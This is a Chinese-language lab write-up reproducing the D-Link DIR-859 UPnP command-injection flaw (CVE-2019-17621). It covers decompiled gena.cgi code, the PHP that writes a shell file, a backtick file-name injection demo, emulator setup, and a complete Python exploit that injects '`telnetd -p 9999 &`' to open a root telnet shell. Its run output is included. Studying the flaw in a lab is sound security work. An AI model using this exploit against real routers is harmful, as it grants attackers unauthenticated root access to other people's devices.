描述 D-Link DIR-859 Wi-Fi 路由器 1.05 和 1.06B01 Beta01 中的 UPnP 端点 URL /gena.cgi 允许未经认证的远程攻击者以 root 身份执行系统命令,通过在连接本地网络时向 UPnP 服务发送专门设计的 HTTP SUBSCRIBE 请求。
通过ubuntu18版本复现
漏洞分析 先手操作 前面就不多说了,拿到zip文件解压一下然后binwalk -eM就拿到了文件
看一下保护,mips-32位架构
1 2 3 4 5 6 7 8 9 10 11 checksec cgibin [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5) [*] '/home/yy/桌面/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/htdocs/cgibin' Arch: mips-32-big RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments yy@yy-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/htdocs%
IDA逆向分析 首先先找到hena.cgi,发现其执行genacgi_main
然后看genacgi_main,可以发现当请求方式是”SUBSCRIBE”,进入sub_40FCE0()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int genacgi_main(){ char *v0; // $s0 char *v1; // $a0 char *v2; // $v0 char *v3; // $s1 char *v4; // $s1 v0 = getenv("REQUEST_METHOD" ); if ( !v0 ) return -1 ; v1 = getenv("REQUEST_URI" ); if ( !v1 ) return -1 ; v2 = strchr(v1, 63 ); v3 = v2; if ( !v2 || strncmp(v2, "?service=" , 9u) ) return -1 ; v4 = v3 + 9 ; if ( !strcasecmp(v0, "SUBSCRIBE" ) ) return sub_40FCE0(v4); if ( !strcasecmp(v0, "UNSUBSCRIBE" ) ) return sub_4100EC(v4); else return -1 ; }
追踪sub_40fce0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 int __fastcall sub_40FCE0(const char *a1){ char *v2; // $s6 char *v3; // $s4 char *v4; // $s1 char *v5; // $s3 char *v6; // $s5 char *v7; // $s2 int v8; // $v0 int v9; // $a0 int v10; // $s5 int v11; // $v0 char *v12; // $v0 const char *v13; // $s1 int v14; // $v0 char *v15; // $v0 char *v16; // $s4 __pid_t v17; // $v0 __pid_t v18; // $v0 int v19; // $v0 int v20; // $v1 int v21; // $v0 char s[516 ]; // [sp+40h] [-204h] BYREF v2 = getenv("SERVER_ID" ); v3 = getenv("HTTP_SID" ); v4 = getenv("HTTP_CALLBACK" ); v5 = getenv("HTTP_TIMEOUT" ); v6 = getenv("HTTP_NT" ); v7 = getenv("REMOTE_ADDR" ); if ( !v7 ) v7 = (char *)"" ; if ( !v2 ) v2 = (char *)"" ; if ( v3 ) { v9 = 400 ; if ( v4 || v6 || !v5 ) goto LABEL_27; v19 = strcasecmp(v5, "Second-infinite" ); v20 = 0 ; if ( v19 ) { v21 = strncasecmp(v5, "Second-" , 7u); v9 = 400 ; if ( v21 ) goto LABEL_27; v20 = atoi(v5 + 7 ); } snprintf( s, 0x200u, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh" , "/htdocs/upnp/run.NOTIFY.php" , v2, a1, v3, v20, "/var/run" , a1); xmldbc_ephp(0 , 0 , s, stdout); return 0 ; } if ( !v6 ) { LABEL_25: v9 = 412 ; goto LABEL_27; } v8 = strcmp(v6, "upnp:event" ); v9 = 412 ; if ( v8 || !v4 ) goto LABEL_27; if ( !v5 ) { v9 = 400 ; goto LABEL_27; } v10 = 0 ; if ( strcasecmp(v5, "Second-infinite" ) ) { v11 = strncasecmp(v5, "Second-" , 7u); v9 = 400 ; if ( !v11 ) { v10 = atoi(v5 + 7 ); goto LABEL_13; } LABEL_27: cgibin_print_http_status(v9, "" , "" ); return 0 ; } LABEL_13: v12 = &v4[strlen(v4) - 1 ]; if ( *v12 == 62 ) *v12 = 0 ; v13 = &v4[*v4 == 0x3C ]; v14 = strncmp(v13, "http://" , 7u); v9 = 412 ; if ( v14 ) goto LABEL_27; v15 = strchr(v13 + 7 , 47 ); v16 = v15; if ( !v15 ) goto LABEL_25; *v15 = 0 ; v17 = getpid(); snprintf( s, 0x200u, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" , "/htdocs/upnp/run.NOTIFY.php" , v2, a1, v13 + 7 , v16 + 1 , v10, v7, "/var/run" , a1, v17); xmldbc_ephp(0 , 0 , s, stdout); fflush(stdout); v18 = getpid(); snprintf(s, 0x200u, "NOTIFY:0:sh %s/%s_%d.sh" , "/var/run" , a1, v18); xmldbc_timer(0 , 0 , s); return 0 ; }
追踪xmldbc_ephp(),a3是作为s(报文继续传递)
1 2 3 4 5 6 7 int __fastcall xmldbc_ephp(int a1, int a2, const char *a3, int a4){ size_t v6; // $v0 v6 = strlen(a3); return sub_414FB8(a1, 10 , a2, a3, v6 + 1 , a4); }
追踪sub_414fb8()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __fastcall sub_414FB8(int a1, __int16 a2, int a3, int a4, int a5, FILE *a6){ int v6; // $v0 int v7; // $s1 int v8; // $s0 FILE *v9; // $a1 v7 = -1 ; v6 = sub_4140BC(); v8 = v6; if ( v6 >= 0 ) { if ( sub_41490C(v6, a2) >= 0 ) { v9 = a6; if ( !a6 ) v9 = stdout; v7 = 0 ; sub_4146C8(v8, v9); } close(v8); } return v7; }
追踪sub_41490C()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __fastcall sub_41490C(int fd, __int16 a2, int a3, void *a4, __int16 a5){ int v6; // $v0 int v7; // $v1 int v8; // $v0 _WORD buf[2 ]; // [sp+18h] [-1Ch] BYREF int v11; // [sp+1Ch] [-18h] int v12; // [sp+20h] [-14h] void *v13; // [sp+28h] [-Ch] buf[0 ] = a2; v11 = a3; v13 = a4; v12 = 0 ; buf[1 ] = a5; v6 = sub_41484C(fd, buf); v7 = -1 ; if ( v6 > 0 ) { v8 = sub_41484C(fd, v13); v7 = 0 ; if ( v8 <= 0 ) return -1 ; } return v7; }
追踪sub_41484C()函数,通过send发送报文然后向 run.NOTIFY.php 发了个包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 size_t __fastcall sub_41484C(int fd, char *buf, size_t a3) { size_t i; // $s0 ssize_t v7; // $v0 ssize_t v8; // $v1 bool v9; // dc size_t result; // $v0 int *v11; // $v0 for ( i = a3; ; i -= v8 ) { if ( !i ) return a3; v7 = send(fd, buf, i, 0x4000 ); v8 = v7; if ( v7 <= 0 ) { v9 = v7 == 0 ; result = -1 ; if ( v9 ) return result; v11 = _errno_location(); v8 = 0 ; if ( *v11 != 4 ) break ; } buf += v8; } return -1 ; }
php查看 gena.php:有各个函数的功能概述
run.NOTIFY.php:可以看到请求方式是SUBSCRIBE时进入GENA_subscribe_new()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <? include "/htdocs/phplib/upnp/xnode.php" ;include "/htdocs/upnpinc/gvar.php" ;include "/htdocs/upnpinc/gena.php" ;$gena_path = XNODE_getpathbytarget ($G_GENA_NODEBASE , "inf" , "uid" , $INF_UID , 1 );$gena_path = $gena_path ."/" .$SERVICE ;GENA_subscribe_cleanup ($gena_path );if ($SERVICE == "L3Forwarding1" ) $php = "NOTIFY.Layer3Forwarding.1.php" ;else if ($SERVICE == "OSInfo1" ) $php = "NOTIFY.OSInfo.1.php" ;else if ($SERVICE == "WANCommonIFC1" ) $php = "NOTIFY.WANCommonInterfaceConfig.1.php" ;else if ($SERVICE == "WANEthLinkC1" ) $php = "NOTIFY.WANEthernetLinkConfig.1.php" ;else if ($SERVICE == "WANIPConn1" ) $php = "NOTIFY.WANIPConnection.1.php" ;else if ($SERVICE == "WFAWLANConfig1" ) $php = "NOTIFY.WFAWLANConfig.1.php" ;if ($METHOD == "SUBSCRIBE" ){ if ($SID == "" ) GENA_subscribe_new ($gena_path , $HOST , $REMOTE , $URI , $TIMEOUT , $SHELL_FILE , "/htdocs/upnp/" .$php , $INF_UID ); else GENA_subscribe_sid ($gena_path , $SID , $TIMEOUT ); } else if ($METHOD == "UNSUBSCRIBE" ){ GENA_unsubscribe ($gena_path , $SID ); } ?>
GENA_subscribe_new()函数:哦吼,发现了一个调用$shell_file的函数GENA_notify_init()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function GENA_subscribe_new ($node_base , $host , $remote , $uri , $timeout , $shell_file , $target_php , $inf_uid ) { anchor ($node_base ); $count = query ("subscription#" ); $found = 0 ; foreach ("subscription" ) { if (query ("host" )==$host && query ("uri" )==$uri ) {$found = $InDeX ; break ;} } if ($found == 0 ) { $index = $count + 1 ; $new_uuid = "uuid:" .query ("/runtime/genuuid" ); } else { $index = $found ; $new_uuid = query ("subscription:" .$index ."/uuid" ); } if ($timeout ==0 || $timeout =="" ) {$timeout = 0 ; $new_timeout = 0 ;} else {$new_timeout = query ("/runtime/device/uptime" ) + $timeout ;} set ("subscription:" .$index ."/remote" , $remote ); set ("subscription:" .$index ."/uuid" , $new_uuid ); set ("subscription:" .$index ."/host" , $host ); set ("subscription:" .$index ."/uri" , $uri ); set ("subscription:" .$index ."/timeout" , $new_timeout ); set ("subscription:" .$index ."/seq" , "1" ); GENA_subscribe_http_resp ($new_uuid , $timeout ); GENA_notify_init ($shell_file , $target_php , $inf_uid , $host , $uri , $new_uuid ); }
GENA_notify_init():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function GENA_notify_init ($shell_file , $target_php , $inf_uid , $host , $uri , $sid ) { $inf_path = XNODE_getpathbytarget ("" , "inf" , "uid" , $inf_uid , 0 ); if ($inf_path =="" ) { TRACE_debug ("can't find inf_path by $inf_uid =" .$inf_uid ."!" ); return "" ; } $phyinf = PHYINF_getifname (query ($inf_path ."/phyinf" )); if ($phyinf == "" ) { TRACE_debug ("can't get phyinf by $inf_uid =" .$inf_uid ."!" ); return "" ; } $upnpmsg = query ("/runtime/upnpmsg" ); if ($upnpmsg == "" ) $upnpmsg = "/dev/null" ; fwrite (w, $shell_file , "#!/bin/sh\n" .//说明生成了一个.sh的文件 'echo "[$0] ..." > ' .$upnpmsg ."\n" . "xmldbc -P " .$target_php . " -V INF_UID=" .$inf_uid . " -V HDR_URL=" .SECURITY_prevent_shell_inject ($uri ). " -V HDR_HOST=" .SECURITY_prevent_shell_inject ($host ). " -V HDR_SID=" .SECURITY_prevent_shell_inject ($sid ). " -V HDR_SEQ=0" . " | httpc -i " .$phyinf ." -d " .SECURITY_prevent_shell_inject ($host )." -p TCP > " .$upnpmsg ."\n" ); fwrite (a, $shell_file , "rm -f " .$shell_file ."\n" ); }
漏洞点 这里讲一个shell的用法
1 2 rm -f 'start' .sh shell_file="`id`.sh"
例子:显示没有权限恰恰说明能够执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 lion@lion-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin .extracted% cat start.py import osfilename = "`touch /tmp/hacked`.sh" with open (filename, "w" ) as f: f.write("#!/bin/sh\necho test\n" ) os.system("rm -f " + filename) lion@lion-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin .extracted% python start.py Traceback (most recent call last): File "start.py" , line 3 , in <module> with open (filename, "w" ) as f: FileNotFoundError: [Errno 2 ] No such file or directory: '`touch /tmp/hacked`.sh'
那我们试想一下,这个.sh文件若加上引号,然后第二次fwrite时会先提权在删除
环境搭建 下载链接:
https://people.debian.org/~aurel32/qemu/mips/
下载
mips系统配置 虚拟机要设置为桥接模式
获取安装依赖:
1 sudo apt-get install bridge-utils uml-utilities
修改主机网络配置
1 sudo gedit /etc/network/interfaces
将内容修改为
1 2 3 4 5 6 7 8 9 10 11 auto lo iface lo inet loopback auto ens33 iface ens33 inet dhcp iface br0 inet dhcp bridge_ports ens33 bridge_maxwait 0
修改网络接口连接脚本
1 sudo gedit /etc/qemu-ifup
1 2 3 4 5 6 7 8 echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0 .0 .0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 3
赋予可执行权限然后重启网络配置使其生效
1 2 sudo chmod a+x /etc/qemu-ifup sudo /etc/init.d/networking restart
手动版qemu启动配置 1 2 sudo ifdown ens33 sudo ifup br0
在下载的两个文件的目录下执行
1 sudo qemu-system-mips -M malta -kernel vmlinux-2.6 .32 -5 -4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00 :16 :3e:00 :00 :01 -net tap
成功启动!登陆账号/密码:root/root
然后是看网卡配置:ifconfig
给网卡静态ip
1 2 3 4 5 6 ifconfig eth0 up ifconfig eth0 192.168 .2 .200 netmask 255.255 .255 .0 ifconfig eth0
用户机
成功!!
然后是将squashfs—root文件上传
1 scp -r ./squashfs-root root@192.168.2.200:/root/
1 chroot /root/squashfs-root sh
然后后面的我还没搞明白,就先不写了
自动版访问 1 2 3 git clone https://github.com/liyansong2018/firmware-analysis-plus.git cd firmware-analysis-plus ./setup.sh
修改 fap.config 文件中的密码,改为 root 系统用户的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 yy@yy-virtual-machine:~/firmware-analysis-plus% ./fap.py -q ./qemu-builds/2.5 .0 / DIR822A1_FW103WWb03.zip ______ _ ___ | ___| (_) / _ \ | |_ _ _ __ ___ / /_\ \ _ __ ___ | _| | | | '_ ` _ \ | _ | | ' _ \ / __| ++ | | | | | | | | | | | | | | | | | | \__ \ \_| |_| |_| |_| |_| \_| |_/ |_| |_| |___/ Welcome to the Firmware Analysis Plus - v2.3 .1 By lys - https://github.com/liyansong2018/firmware-analysis-plus [+] Firmware: DIR822A1_FW103WWb03.zip [+] Extracting the firmware... [+] Image ID: 1 [+] Identifying architecture... [+] Architecture: mipseb [+] Building QEMU disk image... [+] Setting up the network connection, please standby... [+] Network interfaces: [('br0' , '192.168.0.1' ), ('br1' , '192.168.7.1' )] [+] Using qemu-system-mips from /home/yy/firmware-analysis-plus/qemu-builds/2.5 .0 [+] All set ! Press ENTER to run the firmware... [+] When running, press Ctrl + A X to terminate qemu
1 2 ./shutdown.py ./reset.py
exp: 这个exp是尝试连接到9999端口,这个要root权限所以连接上了就说明成功了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import socketimport osfrom time import sleepdef httpSUB (server, port, shell_file ): print ('\n[*] Connection {host}:{port}' .format (host=server, port=port)) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str (shell_file) + " HTTP/1.0\r\n" request += "Host: " + str (server) + "\r\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\r\n" request += "NT: upnp:event\r\n" request += "Timeout: Second-1800\r\n" request += "Accept-Encoding: gzip, deflate\r\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\r\n\r\n" sleep(1 ) print ('[*] Sending Payload' ) con.connect((socket.gethostbyname(server), port)) con.send(request.encode('utf-8' )) results = con.recv(4096 ) print ('[*] Response: ' , results.decode('utf-8' , errors='ignore' )) sleep(1 ) print ('[*] Running Telnetd Service' ) sleep(1 ) print ('[*] Opening Telnet Connection\n' ) sleep(2 ) os.system('telnet ' + str (server) + ' 9999' ) serverInput = input ('IP Router: ' ) portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 yy@yy-virtual-machine:~/桌面/dir -859 % nmap 192.168 .0 .1 Starting Nmap 7.60 ( https://nmap.org ) at 2026 -02-10 18 :17 CST Nmap scan report for 192.168 .0 .1 Host is up (0.0063 s latency). Not shown: 996 closed ports PORT STATE SERVICE 23 /tcp open telnet80 /tcp open http443 /tcp open https49152 /tcp open unknownNmap done: 1 IP address (1 host up) scanned in 1.26 seconds yy@yy-virtual-machine:~/桌面/dir -859 % ls 150090. squashfs debian_squeeze_mips_standard.qcow2 vmlinux-2.6 .32 -5 -4kc-malta2888 exp.py2888.7 z squashfs-rootyy@yy-virtual-machine:~/桌面/dir -859 % python exp.py IP Router: 192.168 .0 .1 [*] Connection 192.168 .0 .1 :49152 [*] Sending Payload [*] Response: HTTP/1.1 200 OK Server: WebServer Date: Sat, 01 Jan 2000 02:18 :47 GMT SID: uuid:A60289A5-4CC2-726E-9734 -2833F182804D TIMEOUT: Second-1800 [*] Running Telnetd Service [*] Opening Telnet Connection Trying 192.168 .0 .1 ... Connected to 192.168 .0 .1 . Escape character is '^]' . BusyBox v1.14 .1 (2016 -12 -29 16 :47 :48 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. whoani: not found whoami: not found id : not foundfirmadyne dev sbin tmp var lost+found etc sys lib home mnt www bin usr proc htdocs
参考致谢 [【IOT 学习三】DLink路由器RCE漏洞 CVE-2019-17621复现 | Loora1N’s Blog | 鹭雨](https://loora1n.github.io/2022/09/16/[IOT 学习三]CVE-2019-17621复现/)
DLink RCE漏洞CVE-2019-17621分析 - FreeBuf网络安全行业门户